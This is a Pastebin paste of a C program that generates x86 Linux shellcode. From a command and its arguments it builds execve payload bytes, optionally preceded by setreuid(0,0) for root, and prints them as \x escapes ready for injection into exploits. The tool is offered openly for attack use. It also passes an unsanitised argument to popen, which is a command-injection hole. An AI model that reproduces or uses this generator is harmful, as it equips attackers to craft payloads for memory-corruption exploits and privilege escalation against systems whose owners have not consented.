Advertisement
Guest User

Untitled

a guest
May 1st, 2016
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.70 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <linux/types.h>
  6. #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command
  7.  
  8. void print_c(__u8*,int);
  9. void push_shc(__u8*, char*, int*);
  10. int main(int argc, char *argv[]){
  11.     char cmd[255], *a;
  12.     FILE *c;
  13.     int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
  14.     __u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};
  15.  
  16.     if(argc<2){
  17.         printf(" Program path/to/execute\n");
  18.         _exit(1);
  19.     }
  20.     a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));
  21.  
  22.     //find the command path
  23.     a[0]=0;
  24.     strcat(a, "whereis ");
  25.     strcat(a, argv[1]);
  26.     c=popen(a, "r");
  27.     while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
  28.     while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
  29.     cmd[--k]=0;
  30.      
  31.     if(k==0){
  32.         printf("No executables found for the command \"%s\".\n", argv[1]);
  33.         _exit(1);
  34.     }
  35.  
  36.     if(strlen(cmd)>254){
  37.         printf("The lenght of the command path can't be over 254 bye.\n");
  38.         _exit(1);
  39.     }
  40.  
  41.     for(i=2;i<argc;i++)
  42.         if(strlen(argv[i])>254){
  43.             printf("The lenght of each command argument can't be over 254 byte.\n");
  44.             _exit(1);
  45.         }
  46.     //work out the final shellcode lenght
  47.     b=(k%2);
  48.     b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
  49.     totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
  50.     for(i=2; i<argc;i++){
  51.         k=strlen(argv[i]);
  52.         b=(k%2);
  53.         b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
  54.         totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
  55.     }
  56.     totl+=4*(argc-2);
  57.     printf("Shellcode lenght: %i\n", totl);
  58.  
  59.     //build the shellcode
  60.     shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
  61.     memcpy(shc, start, 2);
  62.     if(SETRUID){
  63.         memcpy(shc+shp, struid, 10);
  64.         shp+=10;
  65.     }
  66.     if(argc>2)
  67.         push_shc(shc, argv[argc-1], &shp);
  68.     else
  69.         push_shc(shc, cmd, &shp);
  70.     memset(shc+(shp++), 0x89, 1);
  71.     memset(shc+(shp++), 0xe6, 1);
  72.     if(argc>2){
  73.         for(i=argc-2;i>1;i--)
  74.             push_shc(shc, argv[i], &shp);
  75.         push_shc(shc, cmd, &shp);
  76.     }
  77.     memset(shc+(shp++), 0x50, 1);
  78.     memset(shc+(shp++), 0x56, 1);
  79.     if(argc>2){
  80.         for(i=argc-2;i>1;i--){
  81.             memset(shc+(shp++), 0x83, 1);
  82.             memset(shc+(shp++), 0xee, 1);
  83.             memset(shc+(shp++), strlen(argv[i])+1, 1);
  84.             memset(shc+(shp++), 0x56, 1);
  85.         }
  86.         memset(shc+(shp++), 0x83, 1);
  87.         memset(shc+(shp++), 0xee, 1);
  88.         memset(shc+(shp++), strlen(cmd)+1, 1);
  89.         memset(shc+(shp++), 0x56, 1);
  90.     }
  91.     memcpy(shc+shp, end, 16);
  92.     print_c(shc,totl);
  93.     return 0;
  94. }
  95. void print_c(__u8 *s,int l){
  96.     int k;
  97.     for(k=0;k<l;k++){
  98.         printf("\\x%.2x", s[k]);
  99.         if(((k+1)%8)==0) printf("\n");
  100.     }
  101.     printf("\n");
  102. }
  103. void push_shc(__u8 *out, char *str, int *sp){
  104.     int i=strlen(str), k, b, b1, tmp=i;
  105.     __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};
  106.     memcpy(out+(*sp), pushb_0, 6);
  107.     *sp+=6;
  108.     for(k=0;k<((i-(i%4))/4);k++){
  109.         memset(out+((*sp)++), 0x68, 1);
  110.         tmp-=4;
  111.         memcpy(out+(*sp), str+tmp, 4);
  112.         *sp+=4;
  113.     }
  114.     b=(i%2);
  115.     b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);
  116.     if(b1){
  117.         memset(out+((*sp)++), 0x66, 1);
  118.         memset(out+((*sp)++), 0x68, 1);
  119.         tmp-=2;
  120.         memcpy(out+(*sp), str+tmp, 2);
  121.         *sp+=2;
  122.     }
  123.     if(b){
  124.         memcpy(out+(*sp), pushb, 6);
  125.         *sp+=6;
  126.         memcpy(out+((*sp)++), str+(--tmp), 1);
  127.     }
  128. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement